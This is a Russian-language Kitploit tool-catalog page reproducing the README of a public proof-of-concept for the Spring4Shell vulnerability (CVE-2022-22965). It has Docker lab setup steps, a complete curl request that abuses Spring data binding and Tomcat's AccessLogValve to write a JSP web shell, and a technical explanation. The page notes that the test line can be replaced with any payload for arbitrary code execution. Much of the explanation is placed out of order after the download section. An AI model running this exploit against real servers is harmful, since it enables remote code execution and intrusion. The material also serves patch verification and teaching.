Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-22965-PoC — Эксплойт PoC для CVE-2022-22965 (Spring4Shell), демонстрирующий удаленное выполнение кода через манипуляцию Tomcat AccessLogValve. Включает среду воспроизведения на основе Docker и подробный технический анализ. | Kitploit
Инструменты/GitHubGitHub/kirill89/cve-2022-22965-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

Эксплойт PoC для CVE-2022-22965 (Spring4Shell), демонстрирующий удаленное выполнение кода через манипуляцию Tomcat AccessLogValve. Включает среду воспроизведения на основе Docker и подробный технический анализ.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
32214 лет назадПроверено Kitploit

CVE-2022-22965 PoC

Минимальный пример воспроизведения уязвимости CVE-2022-22965 Spring RCE.

Запуск с помощью docker compose

  1. Соберите приложение с помощью Docker compose
    root@kitploit:~
    docker-compose up --build
    
  2. Для проверки приложения перейдите по адресу http://localhost:8080/handling-form-submission-complete/greeting
  3. Запустите эксплойт
    root@kitploit:~
    ./exploits/run.sh
    
  4. Эксплойт создаст файл rce.jsp в папке webapps/handling-form-submission-complete на веб-сервере.
  5. Используйте эксплойт Перейдите по адресу http://localhost:8080/handling-form-submission-complete/rce.jsp

Альтернативный способ (ориентированный на отладку)

  1. Запустите сервер Tomcat в Docker

    root@kitploit:~
    docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
    

    Добавьте -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005", если хотите удалённо отлаживать.

  2. Соберите проект

    root@kitploit:~
    ./mvnw install
    
  3. Разверните приложение

    root@kitploit:~
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  4. Выполните эксплойт

    root@kitploit:~
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    Эксплойт создаст файл rce.jsp в папке webapps/handling-form-submission-complete на веб-сервере.

  5. Используйте эксплойт

    root@kitploit:~
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    Теперь вы увидите 123 в терминале контейнера. Замените System.out.println(123) на вашу полезную нагрузку для выполнения произвольного кода.

Краткое техническое объяснение

  1. Spring умеет привязывать поля формы к Java-объекту. В нашем примере GreetingController обрабатывает POST-запросы на эндпоинте /greeting и привязывает поля формы к объекту Greeting.
  2. Он также поддерживает привязку вложенных полей (например, user.info.firstname). См. AbstractNestablePropertyAccessor для справки.
  3. В нашем примере класс Greeting имеет два поля: id и content, но на самом деле у него также есть ссылка на объект Class. Мы можем использовать class.module.classLoader в качестве ключа данных формы для доступа к загрузчику классов.
  4. В исправлении видно, что основное изменение заключалось в ограничении доступа к большинству свойств объекта Class, включая свойство module.
  5. Такое поведение позволяет нам задавать открытые свойства классов, доступных через цепочку вложенных ссылок от класса Greeting. И ничего более. В большинстве случаев это даже не опасно, потому что из недоступны классы с открытыми полями.

Условия

Эксплойт работает только на Tomcat, потому что у него особый загрузчик классов. Однако аналогичная цепочка ссылок может существовать и на других серверах веб-приложений. Она просто пока не обнаружена.

Для эксплуатации требуется Java 9 или выше, так как свойство module было добавлено в Java 9.

Ссылки

  • Серверная часть основана на пошаговом руководстве https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a.
  • Часть эксплойта основана на скрипте https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py.
  • Уведомление Snyk об уязвимости доступно здесь: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
Скачать инструмент
class.module.classLoader.
  • Проблема возникает на сервере Tomcat, поскольку его загрузчик классов имеет метод доступа getResources, который позволяет продолжить цепочку ссылок и получить доступ к одному из экземпляров класса AccessLogValve.
  • Этот класс предназначен для записи логов. Мы изменяем некоторые его свойства, чтобы он создавал файлы с выбранным нами именем и содержимым. На этом этапе мы получаем возможность произвольной записи файлов.
  • Мы создаём файл jsp в корневой папке приложения с вредоносной полезной нагрузкой. Поскольку jsp автоматически выполняются Tomcat, мы можем перейти к нему в браузере и в конечном итоге выполнить полезную нагрузку. Теперь это RCE.